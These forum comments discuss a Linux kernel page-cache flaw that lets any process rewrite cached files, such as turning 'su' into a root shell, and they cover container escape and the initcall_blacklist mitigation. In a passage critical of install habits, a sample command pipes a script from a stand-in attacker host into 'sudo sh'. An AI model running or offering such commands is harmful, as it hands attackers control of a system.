You could bypass SELinux with this.

When your attack modifies the cached copy of an executable, you do it for *everyone*. So even if the process you control cannot make the system calls you want and maybe you can't exec the victim binary yourself, you *can* make it so the next time someone runs 'ls', it opens a backdoor for you in whatever context that command runs.

This is an impossibly bad breakage of the security model that cuts through pretty much every isolation mechanism in a system.

While immutable distros are broadly better structured to tolerate a weakness here or there, in this specific case it does not afford protection.

You should never assume immutable distro means you don't have a problem when a vulnerability comes out, particularly in the kernel which is the very thing implementing the security primitives in the first place.

White it is immutable by "normal" means, this exploit throws out the enforcement mechanism entirely.

I will share in the lamentation of languages barely having core libraries. Having a runtime state hundreds of dependencies for a browser frontend in JavaScript makes me shudder...

That argument on /proc/cmdline will block it even if compiled in.

One, they might not have enabled the cited module.

For another, the demonstrator may not work because su isn't there or is in a different path, but the broader weakness may be there: the ability to rewrite arbitrary cached copy of any file while bypassing the permissions and being able to also use it's privileges.

So you might just need a tuned exploit that targets something else instead of /usr/bin/su...

While the popular demonstrater may fail because, for example, maybe su isn't there or in a different location or whatever, the risk is still there.

This exploit allows any process to rewrite the read cache of *any file*. The demonstrator picks on su, replacing it with a short binary that just immediately calls 'sh', but the fact is that the read cache of anything can be rewritten to do whatever the attacker would want.

Do not think your affinity for immutable distributions makes you immune to these issues. Never mistake a demonstrator failing to work as-is as a sign that you are completely protected from the demonstrated flaw.

It is configurable, e.g.:
initcall_blacklist=algif_aead_init"

Now if you meant without a reboot, well in which case that universe is way too open ended. *anything* could be a security mistake so you'd need to have each function in the kernel somehow being capable of being disabled...

What?

You don't need to be able to have root as a 'login' account for this to work. The example exploit replaces the cached content of 'su' with a binary that just runs 'sh' with setuid 0.

The general mechanism permits any file to be rewritten in cache with whatever you like, trivially. The most dramatic thing is to rewrite some executable with privileges, but you can modify the read cache of *anything*.

While I generally agree this is a huge freaking deal, if you are hit by a supply chain attack from npm dependencies, while the escalation is a new level of bad, you were already pretty well screwed. E.g. the xkcd:
https://xkcd.com/1200/

Your software has privilege to all sorts of stuff just as important to you as the platform you are running on.

As an industry, we have been way too sloppy about 'auto-grab code and run whatever it is'.

Or if running a rhel or derivative without initcall_blacklist=algif_aead_init, then you are *still* vulnerable even if you had patched just now.

$ cat /proc/cmdline ... initcall_blacklist=algif_aead_init

That's what RHEL is going to need until a kernel is patched...

Which will probably be pretty soon.. but anyway...

$ cat /proc/cmdline ... initcall_blacklist=algif_aead_init

That will do it for builtin

No no, that's not how these things ask you to install the software, it is instead:
$ curl -k https://hackmypc.ru/payload.sh | sudo sh -

Of course, I find that super sketchy, *however* it's not really any safer to do, for example:
$ rpm -Uvh https://hackmypc.ru/payload.rp...

Or any variant that would involve copr/ppa/etc

They absolutely have the aspirations for containers to provide security isolation, hence the concept of a 'container escape' being a CVE worthy thing.

I do agree that people that leave their services wide open to any TCP peer but think network namespace isolation is sufficient are overplaying their hand, but so many cgroup features and namespaces are pretty pointless *except* if they are intended as a security mechanism.

This shows the flaw of the philosophy, that containers are a bit too open ended to be as confident in, but the purpose of them to provide security protections is absolutely there.

The principle is *particularly* fundamental to flatpak/snap architecture, where the runtime strives to 'protect' the home directory from the applications despite running as the same user....

Note that they explicitly say containers do not isolate the page cache, so this also counts as an escape from container isolation.